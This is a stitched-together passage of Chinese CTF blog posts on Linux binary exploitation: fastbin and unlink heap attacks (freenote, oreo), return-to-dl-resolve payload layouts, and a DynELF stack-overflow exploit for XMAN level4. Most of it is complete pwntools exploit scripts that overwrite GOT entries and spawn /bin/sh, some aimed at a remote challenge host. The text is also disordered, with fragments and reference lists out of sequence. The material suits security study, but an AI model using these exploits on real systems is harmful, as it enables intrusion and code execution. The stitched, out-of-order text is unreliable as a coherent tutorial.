18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python

from pwn import *

DEBUG = 0
if DEBUG:
# context.log_level ='debug'
p = process('./freenote_x64')
gdb.attach(p, 'b *0x40106a \n b *0x400edc')
else:
# context.log_level ='debug'
p = remote("pwn2.jarvisoj.com", 9886)

def list_post():
p.recvuntil('Your choice: ')
p.sendline('1')

def new_post(l, c):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('new note: ')
p.sendline(str(l))
p.recvuntil('Enter your note: ')
p.sendline(c)

def edit_post(n, l, c):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Note number: ')
p.sendline(str(n))
p.recvuntil('Length of note: ')
p.sendline(str(l))
p.recvuntil('Enter your note: ')
p.sendline(c)

def delete_post(n):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline(str(n))

def exp():
free_got = 0x602018
# 1.leak glibc address,then caculate system and '/bin/sh' address
new_post(8, 'a'*7)
new_post(8, 'b'*7)
delete_post(0)
new_post(8, 'c'*7)

list_post()
p.recvuntil('\n')
# arena_addr = u64(p.recv(6).ljust(8,'\x00'))
leak_a = p.recvuntil('\n')
arena_addr = u64(leak_a[0:-1].ljust(8,'\x00'))

if DEBUG:
system_addr = arena_addr - (0x3c3b68 - 0x45380) #local offset
else:
system_addr = arena_addr - (0x3be7b8 - 0x46590) #remote offset
# print 'system_adddr %x' % system_addr
delete_post(0)
delete_post(1)

# 2.leak heap chunk base
new_post(8, 'a'*7)
new_post(8, 'b'*7)
new_post(8, 'c'*7)
new_post(8, 'd'*7)
delete_post(2)
delete_post(0)
edit_post(1, 0x98, 'A'*0x97)
list_post()
p.recvuntil('1. AA')
p.recvuntil('\n')
leak = p.recvuntil('\n')
heap_addr = u64(leak[0:-1].ljust(8,'\x00'))
# print 'heap base %x' % heap_addr
delete_post(1)
delete_post(3)

# 3.construct fake heap
new_post(8, 'A'*7)
new_post(8, 'B'*7)
new_post(8, 'C'*7)
delete_post(1)

fake_pre_size = 0xa1
fake_size = 0x81
fd = heap_addr - 0x17f0 - 0x18
bk = heap_addr - 0x17f0 - 0x10
payload1 = p64(fake_pre_size) + p64(fake_size) + p64(fd) + p64(bk)
payload1 += 'A' * 0x60 + p64(0x80) + p64(0xa0)

payload2 = p64(0xa0) + p64(0x21) + 'A' *0x10 + p64(0x20) + p64(0x51)

edit_post(0, 0x91, payload1)
edit_post(2, 0x31, payload2)
delete_post(1)

# 4. overwrite free@got
payload3 = p64(0x1) + p64(0x1) + p64(0x8) + p64(free_got)
payload3 += p64(0) + p64(0x0) + p64(0x0)
payload3 += p64(1)+ p64(0x8) + p64(heap_addr - 0x17b8) + '/bin/sh\n'
payload3 = payload3.ljust(0x90, '\x00')
edit_post(0, 0x91, payload3)
# raw_input('system(binsh)')
edit_post(0, 0x8, p64(system_addr))
delete_post(2)
p.interactive()

if __name__ == '__main__':
exp()

0x04. 参考文献

1. Linux堆溢出漏洞利用之unlink
2. 一步一步学ROP之gadgets和2free篇

0x00. 前言

最近在学习Linux上的堆溢出原理以及利用技巧,深深了解到堆溢出的复杂之处,以及各种层出不穷的技巧。然时间比较紧,只能慢慢学,现记录下学习fastbin的心得。

0x01. fastbin原理

关于fastbin的利用原理,网上已经有很多文章介绍,简要介绍下需要了解的知识点。
Linux的堆管理器ptmalloc,将内存划分为多个chunk,以chunk为单位分配个用户。为了提高内存分配的效率,ptmalloc又设计的一些数据结构帮助提高性能。正是由于提高效率,从而忽略了一些安全问题。

  1. Linux下的堆块 chunk,为了提高效率,chunk头一般很小。chunk的种类: 已分配的块(allocated chunk)、空闲块(free chunk)、最高块(top chunk)、最后剩余块(Last Remainder chunk)。
    一般空闲块头包含:前一个chunk的大小(pre_size)、本chunk的大小(size)、下一个块地址(fd)、上一个块地址(bk)。已分配的块不包含fd和bk字段,并且已分配的块还会使用下一个块的 pre_size字段。而且由于chunk的字节对齐,低位一般作为标志位,用于辅助chunk管理。如32位系统,堆块chunk大小是8字节对齐,其低3位(N|M|P):N表示此块是否属于main arean; M表示此块是否是mmap()创建的; P表示前块是否正在使用。
  2. Linux下的堆块采用链表结构管理,glibc下实现叫做bins,有4中bins:fastbin、unsorted bin、small bin、large bin。其中fastbin主要用于高效的分配和回收比较小的内存块,采用LIFO形式的单链表结构。

32位系统中,用户的请求在16bytes到64bytes会被分配到fastbin中;64位系统中,用户的请求在32bytes到128bytes会被分配到fastbin中。其他的几种结构主要是用户管理一般块和较大块。

0x02. fastbin利用技巧

基于fastbin块LIFO的特点,我们可以先申请,然后释放,再申请就可以得到原来地址的块。但是这不能满足我们的需求,我们需要在将堆分配在可控地址。我们可以通过堆溢出更改已经申请块的fd,使其指向我们可控的地址,并且在可控地址上伪造假的fastbin结构。然后释放,再申请两次,第2次就可以得到分配在可控地址上的块。(覆盖fd)
还有一种方法直接修改free函数的参数,使free函数的参数为可控地址,然后在可控地址上伪造假的堆块。(House of Spirit)

0x03. fastbin实例

  1. oreo
    该题是个典型的fastbin,主要思路:在bss段构造假的fastbin块结构,然后利用fastbin分配堆块,并写入一个地址。第2次对这个可控位置写入数据,就可以达到往任意地址写任意数据(write anything anywhere)。利用ELF中的逻辑,先通过地址泄漏得到system函数的地址,然后利用fastbin覆盖strlen@got.plt地址为system函数地址。这其中有个技巧,第二次写入数据是”p32(system_addr) + ‘;/bin/sh’ “,在覆盖strlen@got.plt的同时,后面system函数执行时,会分开执行,system(system_addr)和system(“/bin/sh”),最终会成功获得shell。
    漏洞利用代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    #!/usr/bin/env python

    from pwn import *

    DEBUG = 1
    if DEBUG:
    context.log_level = 'debug'
    p = process('./oreo')
    gdb.attach(p, execute='b *0x8048a4d')
    else:
    p = remote("xxxx", 1008)


    def add_rifles(name, description):
    p.sendline('1')
    p.sendline(name)
    p.sendline(description)

    def order_rifles():
    p.sendline('3')

    def leave_message(msg):
    p.sendline('4')
    p.sendline(msg)

    def show_rifles():
    p.sendline('2')


    def main():

    fgets_got = 0x0804A23C
    strlen_got = 0x0804A250
    msg_addr = 0x804A2A8

    p.recv(0x261)
    for i in range(0x3f):
    add_rifles("abc", "test")

    # leak system address
    payload1 = 'A' * 27 + p32(fgets_got)
    add_rifles(payload1, 'B' * 25)
    show_rifles()
    p.recvuntil("===================================")
    p.recvuntil("===================================")
    p.recvuntil("Name: ")
    p.recvuntil("\nDescription: ")
    fgets_addr = u32(p.recv(4))
    print "fgets address: %x" % fgets_addr
    system_addr = fgets_addr - 0x232f0

    # malloc chunk
    payload2 = 'A' * 27 + p32(msg_addr)
    add_rifles(payload2, 'B' * 25)

    # construct fake chunk
    payload3 = p32(0x0) *9 + p32(0x49)
    leave_message(payload3)

    #free chunk
    order_rifles()

    #fastbin: malloc new chunk at address 0x804a2a8
    add_rifles('name', p32(strlen_got))

    #write strlen_got with system_addr and execute strlen('p32(system_addr);/bin/sh')
    leave_message(p32(system_addr) + ';/bin/sh')

    p.interactive()

    if __name__ == '__main__':
    main()

0x04. 参考文献

1. Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)

0x00. payload构造思路

前面我们已经大致介绍了dl-resolve如何进行函数地址的解析。

主要步骤是:通过函数的function@plt,将reloc_arg参数压栈。再跳转到过程链接表的开始PLT[0],将link_map地址压栈。然后调用_dl_runtime_resolve(link_map, reloc_arg)解析函数的地址,并写回到函数的全局偏移表(.got.plt)中,最后返回到需要解析的函数中。在_dl_runtime_resolve中调用_dl_fixup函数,主要的操作是:通过参数reloc_arg确定重定位表中该函数的重定位表项;再通过该重定位表项的r_info字段,在动态链接符号表中确定该函数的符号表项,以及类型,并进行一些检查。再由动态链接符号表项的st_name在动态链接字符串表中确定函数名称。

payload构造:
如果我们伪造reloc_arg,使该函数的重定位表项位于我们可控制的位置;再伪造重定位表项(即r_offset和r_info),可使该函数的动态链接符号表表项位于我们可控制的位置;然后,伪造动态链接符号表表项(即st_name、st_value、st_size、st_info、st_other、st_shndx),主要是st_name的值,使该函数动态链接字符串表表项位于我们控制的位置;最后,伪造动态链接字符串表表项值为我们想要解析的函数名,就可以了。

0x01. 32位应用的payload构造

下面以XMAN level4中的32位ELF为例,介绍32位应用payload的构造过程,该ELF有个明显的栈溢出漏洞。

首先,通过栈溢出向bss段写入我们精心构造的payload2,一般选择bss段偏移为0x400的位置(.bss+0x400)写入。该payload包含解析函数的地址入口、返回值、需要解析函数的参数、伪造的重定位表项、动态链接符号表表项、动态链接字符串表表项、以及函数的参数值。然后,通过平衡堆栈,将程序的执行流交给解析函数。

32位应用 payload的主要构成如下:
payload1: 利用漏洞进行读操作,将数据写入bss区。

1
2
3
4
5
6
7
___________________________________________________________________________________________________________
| 'A' * offset | read_plt | p_p_p_ret | 0 | base_stage | 100 | p_ebp_ret | base_stage | leave_ret |
|--------------|-------------|-----------|-------|------------|------|-----------|------------|------------|
| 溢出填充 |返回地址 |返回地址 | arg1 |arg2,写地址 | arg3 |以写入地址恢复ebp,构造假的栈帧,返回 |
| |覆盖为read |为gadget平 | |.bss+0x400 | | |
| |的plt地址 |衡堆栈 | | | | |
|--------------|-------------|-----------|-------|------------|------|-------------------------------------|

payload2: 构造假的表项
32位应用,构造假的重定位表项、动态链接符号表项、动态链接字符串表项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
___       ______________
| | "BBBB" | 栈顶地址
| |--------------|
| | PLT[0] | PLT表基址,即调用_dl_runtime_resolve函数的入口
| |--------------|
| | reloc_offset | 重定位偏移,即相对于重定位表(.rel.plt)的偏移
| |--------------|
| | ret | 返回地址,一般随便填充。
| |--------------|
| | arg1 | 函数参数1,arg1
| |--------------|
| | arg2 | 函数参数2,arg2
| |--------------|
| | arg3 | 函数参数3,arg3 //不足3个参数,随便填充其他值
| |--------------|
80Bytes | r_offset | 假的重定位表项: r_offset ,即函数的got
| |--------------|
| | r_info | 假的重定位表项: r_info
| |--------------|
| | align | 由于动态链接符号表字节对齐,因此需要对齐字节
| |--------------|
| | st_name | 假的动态链接符号表表项: st_name
| |--------------|
| | st_value | 假的动态链接符号表表项: st_value
| |--------------|
| | st_size | 假的动态链接符号表表项: st_size
| |--------------|
| | st_info.... | 假的动态链接符号表表项: st_info、st_other、st_shndx
| |--------------|
| | "system" | 假的动态链接字符串表表相: 字符串如:"system""write"等等
| |--------------|
| |'AAAA....' | 填充字符: 'A',使长度达到80字节
--- |--------------|
| | "/bin/sh" | 写入的参数字符串:"/bin/sh"
20Bytes |--------------|
| | 'AAAA....' | 填充字符: 'A'
_|_ |______________|

0x02. 64位应用的payload构造

前面提到过64位应用和32位应用在解析函数地址的时候有一些区别:
1)_dl_runtime_resolve函数的参数reloc_arg的值的不同,32位应用是偏移值,64位应用是索引值;
2)在_dl_fixup中,在伪造sym之后,会造成解析过程中VERSYM取值超出范围,造成segment fault,需要将link_map + 0x1c8地址上的值置0;
3)动态链接符号表表项中的成员顺序有变化(即ELF64_Sym结构体成员顺序有变化)。

在构造payload的时候需要注意以上3点不同,并且64位应用通过寄存器传参。此外,payload的长度不要太长,构造的payload过长,传输的过程会截断,造成无法利用成功。

64位应用 payload的主要构成如下:
payload1: 泄漏link_map地址

1
2
3
4
5
6
 _________________________________________
| 'A' * offset |com_gadget | addr_vulfun|
|--------------|-------------|------------|
|溢出填充 | x86_64 通用 |漏洞函数 |
| |的gadget |的地址 |
|--------------|-------------|------------|

payload2: 覆盖link_map 地址 + 0x1c8的地方为0,并读入数据

1
2
3
4
5
6
7
   ________________________________________________________________________________
| 'A' * offset |com_gadget | com_gadget | p_rbp_ret | base_stage | leave_ret |
|--------------|--------------|------------|------------|------------|------------|
| 溢出填充 |将link_map地 |读入数据写入 | 以写入地址恢复rbp,构造假的栈帧,返回 |
| |址偏移0x1c8的 |bss区偏移 | |
| |地方置0 |0x400位置 | |
|--------------|--------------|------------|--------------------------------------|

payload3: 构造假的表项,注意函数通过寄存器传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
___        __________________
| | "BBBBBBBB" | 栈顶地址
| |------------------|
| | pop_rdi_ret | 函数的参数入rdi寄存器
| |------------------|
| | addr_shell | "/bin/sh" 字符串的地址
| |------------------|
| | PLT[0] | PLT表基址,即调用_dl_runtime_resolve函数的入口
| |------------------|
| | reloc_index | 重定位偏移,即相对于重定位表(.rel.plt)的索引
| |------------------|
| | reloc_align | reloc_arg值为重定位表的索引,需要对齐
| |------------------|
180Bytes | r_offset | 假的重定位表项: r_offset ,即函数的got
| |------------------|
| | r_info | 假的重定位表项: r_info
| |------------------|
| | sym_align | 由于动态链接符号表字节对齐,因此需要对齐字节
| |------------------|
| |st_name,st_info...| 假的动态链接符号表表项: st_name、st_info、st_other、st_shndx(32+8+8+16=64bits)
| |------------------|
| | st_size | 假的动态链接符号表表项: st_size(64bits)
| |------------------|
| | st_value | 假的动态链接符号表表项: st_value(64bits)
| |------------------|
| | "system" | 假的动态链接字符串表表相: 字符串如:"system""write"等等
| |------------------|
| |'AAAA....' | 填充字符: 'A',使长度达到180字节
--- |------------------|
| | "/bin/sh" | 写入的参数字符串:"/bin/sh"
200Bytes |------------------|
| | 'AAAA....' | 填充字符: 'A'
_|_ |__________________|

0x03. 参考文献

1. 通过ELF动态装载构造ROP链(Return-to-dl-resolve)
2. ROP之return to dl-resolve

0x00. 写在前面

Return to dl-resolve是一种新的rop攻击方式,出自USENIX Security 2015上的一篇论文How the ELF Ruined Christmas。前段时间,学习了return to dl-resolve 方法,并且分别在32位应用和64位应用上实践了一番。网上有很多文章讲解return to dl-resolve的原理,现记录下我的学习心得,如有不对的地方,欢迎斧正。

0x01. dl-resolve解析原理

return to dl-resolve 主要是利用Linux glibc的延迟绑定技术(Lazy binding)。Linux下glibc库函数在第一次被调用的时候,才会去寻找函数的真正地址然后进行绑定。在这一过程中,主要由过程链接表(PLT)提供跳转到解析函数的胶水代码,然后将函数的真正地址回填到函数的全局偏移表中,再将控制权给需要解析的函数。

首先,了解一下在动态链接过程中需要的辅助信息:重定位表(.rel.plt和.rel.dyn)、全局偏移表(.got和.got.plt)、动态链接符号表(.dyn.sym)、动态链接字符串表(.dyn.str)。

  1. 重定位表
    重定位表中.rel.plt用于函数重定位,.rel.dyn用于变量重定位。函数重定位表的主要作用是提供函数在动态链接符号表以及全局偏移表中的位置。具体的,函数重定位表表项为地址解析函数提供一个参数(r_info的前24位),定位需要解析的函数;为重定位入口提供一个偏移地址,定位函数地址的保存位置(r_offset),即函数的全局偏移表值(.got.plt)。重定位表的定义如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    typedef struct
    {
    Elf32_Addr r_offset; /* Address */
    Elf32_Word r_info; /* Relocation type and symbol index */
    } Elf32_Rel;

    typedef struct
    {
    Elf64_Addr r_offset; /* Address */
    Elf64_Xword r_info; /* Relocation type and symbol index */
    Elf64_Sxword r_addend; /* Addend */
    } Elf64_Rela;
    2)全局偏移表
    全局偏移表中.got 保存全局变量偏移表,.got.plt 保存全局函数偏移表。全局函数偏移表主要保存了函数在内存中的实际地址,刚开始全局函数便宜表中存放的是:过程链接表PLT中该函数胶水代码中的第二条指令地址。在函数解析之后,才存放了函数的真正地址。以XMAN中32位ELF level4中的read@plt为例:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    ~/workspace/pwn/jarvisoj/xman$ objdump -d -j.plt level4
    level4: file format elf32-i386
    Disassembly of section .plt:
    08048300 <read@plt-0x10>:
    8048300: ff 35 04 a0 04 08 pushl 0x804a004
    8048306: ff 25 08 a0 04 08 jmp *0x804a008
    804830c: 00 00 add %al,(%eax)
    ...
    08048310 <read@plt>:
    8048310: ff 25 0c a0 04 08 jmp *0x804a00c
    8048316: 68 00 00 00 00 push $0x0
    804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x30>
    ...

    ~/workspace/pwn/jarvisoj/xman$ objdump -R level4
    level4: file format elf32-i386
    DYNAMIC RELOCATION RECORDS
    OFFSET TYPE VALUE
    08049ffc R_386_GLOB_DAT __gmon_start__
    0804a00c R_386_JUMP_SLOT read
    ...

    ~/workspace/pwn/jarvisoj/xman$ gdb level4
    GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
    Copyright (C) 2014 Free Software Foundation, Inc.

    (gdb) x/wx 0x804a00c
    0x804a00c <read@got.plt>: 0x08048316
    (gdb) x/wi 0x804a00c
    0x804a00c <read@got.plt>: push %ss

    调用函数read时,先调用read@plt(本例是0x8048310)。在read@plt中先跳转到.got.plt,如上图所示,第一次调用时.got.plt值为 read@plt的第二条指令地址。然后reloc_arg参数进栈,跳转到过程链接表开始(PLT[0]),执行胶水代码。
    read@plt - 0x10(本例是0x8048300)是整个过程链接表的开始(PLT[0]),该处的胶水代码是进入_dl_runtime_resolve(link_map, reloc_arg)的入口。pushl 0x804a004,将_dl_runtime_resolve函数的第一个参数 link_map 入栈,该link_map函数地址位于全局函数偏移表(.got.plt) + 4的地方(64位应该是+8)。第二个参数reloc_arg 前面已经通过read@plt 中的第二条指令(本例是0x8048316)入栈。
    在32位应用中reloc_arg为重定位项在重定位表的偏移值,而64位应用中reloc_arg为重定位项在重定位表中的索引,构造payload的时候需要注意一下。下面的宏定义说明了原因。
    1
    2
    3
    4
    #ifndef reloc_offset
    #define reloc_offset reloc_arg
    #define reloc_index reloc_arg / sizeof (PLTREL)
    #endif

3) 动态链接符号表和动态链接字符串表
动态链接符号表是一个结构体数组,保存了每个函数解析是需要的信息,比如函数名在动态链接字符串表中的偏移等等。动态链接字符串表中保存了函数的名称,并且以\x00作为开始和结尾。动态链接符号表的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 * Symbol table entry.  */
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))

#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))

注意:32位动态链接符号表和64位动态链接符号表中的顺序。

4)延迟绑定的过程
正如前面提到的,从PLT[0]进入_dl_runtime_resolve函数。
32位应用中: ,该函数位于glibc-2.24/sysdeps/i386/dl-trampoline.S中。用汇编语言写的,先保存寄存器值,然后通过栈传递参数,调用_dl_fixup函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
glibc-2.24/sysdeps/i386/dl-trampoline.S _dl_runtime_resolve(link_map, reloc_arg)函数:

28 .text
29 .globl _dl_runtime_resolve
30 .type _dl_runtime_resolve, @function
31 cfi_startproc
32 .align 16
33 _dl_runtime_resolve:
34 cfi_adjust_cfa_offset (8)
35 pushl %eax # Preserve registers otherwise clobbered.
36 cfi_adjust_cfa_offset (4)
37 pushl %ecx
38 cfi_adjust_cfa_offset (4)
39 pushl %edx
40 cfi_adjust_cfa_offset (4)
41 movl 16(%esp), %edx # Copy args pushed by PLT in register. Note
42 movl 12(%esp), %eax # that `fixup' takes its parameters in regs.
43 call _dl_fixup # Call resolver.
44 popl %edx # Get register content back.
45 cfi_adjust_cfa_offset (-4)
46 movl (%esp), %ecx
47 movl %eax, (%esp) # Store the function address.
48 movl 4(%esp), %eax
49 ret $12 # Jump to function address.
50 cfi_endproc
51 .size _dl_runtime_resolve, .-_dl_runtime_resolve

函数_dl_fixup是在glibc-2.24/elf/dl-runtime.c中实现的,源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
// 分别获取动态链接符号表和动态链接字符串表的基址
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

//通过参数reloc_arg计算重定位入口,这里的DT_JMPREL即.rel.plt, reloc_offset即reloc_arg
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

//根据函数重定位表中的动态链接符号表索引,即r_info字段,获取函数在动态链接符号表中对应的条目。
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
//根据strtab+sym->st_name在字符串表中找到函数名,然后进行符号查找获取libc基地址result
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
//将要解析的函数的偏移地址加上libc基址,就可以获取函数的实际地址
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

//将已经解析完的函数地址写入相应的GOT表中
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

64位应用中:该函数位于glibc-2.24/sysdeps/x86_64/dl-trampoline.h中。dl_runtime_resolve函数和_dl_fixup函数在有些方面与32位不同,后面payload构造时介绍。

0x03. 参考文献

1. 通过ELF动态装载构造ROP链(Return-to-dl-resolve)

0x00. 写在前面

在漏洞利用的时候,如果没有给出libc库,可以先泄漏两个函数的地址,然后再去查libc的版本号。但是,这种有时候可能失效。现在利用DynELF工具来泄漏system函数的地址,然后再往一个地方写’/bin/sh’字符串并构造调用system函数的栈。下面以XMAN中的level4这道题为例,使用DynELF实现漏洞利用。

0x01. 漏洞分析

XMAN level4漏洞函数很简单,是一个栈溢出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
vulnerable_function proc near           
.text:0804844B
.text:0804844B buf = byte ptr -88h
.text:0804844B
.text:0804844B push ebp
.text:0804844C mov ebp, esp
.text:0804844E sub esp, 88h
.text:08048454 sub esp, 4
.text:08048457 push 100h ; nbytes
.text:0804845C lea eax, [ebp+buf]
.text:08048462 push eax ; buf
.text:08048463 push 0 ; fd
.text:08048465 call _read
.text:0804846A add esp, 10h
.text:0804846D nop
.text:0804846E leave
.text:0804846F retn
.text:0804846F vulnerable_function endp

但是没有给我们libc库,使用泄漏两个函数地址查找libc版本号,并没有奏效。现在使用DynELF泄漏system函数的地址,实现漏洞利用。

0x02. 漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
from pwn import *
import sys, os

DEBUG = 1
if DEBUG:
context.log_level = 'debug'
p = process('./level4')
gdb.attach(p)
else:
p = remote('pwn2.jarvisoj.com', 9880)

elf = ELF('./level4')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x0804844b
offset = 0x8c
bss_addr = 0x804a024
pppr = 0x8048509

def leak(address, length=4):
payload = 'a' * offset + p32(plt_write) + p32(vulfun_addr) + p32(1)
payload += p32(address) + p32(length)
p.send(payload)
data = p.recv(length)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

def main():
#1. leak system address
raw_input('#1. leak system address')
d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
payload1 = 'a'*offset + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr)
payload1 += p32(8) + p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)

#2. execute system('/bin/sh')
raw_input('#2. system binsh')
p.sendline(payload1)
p.sendline('/bin/sh\x00')

p.interactive()

if __name__ == '__main__':
main()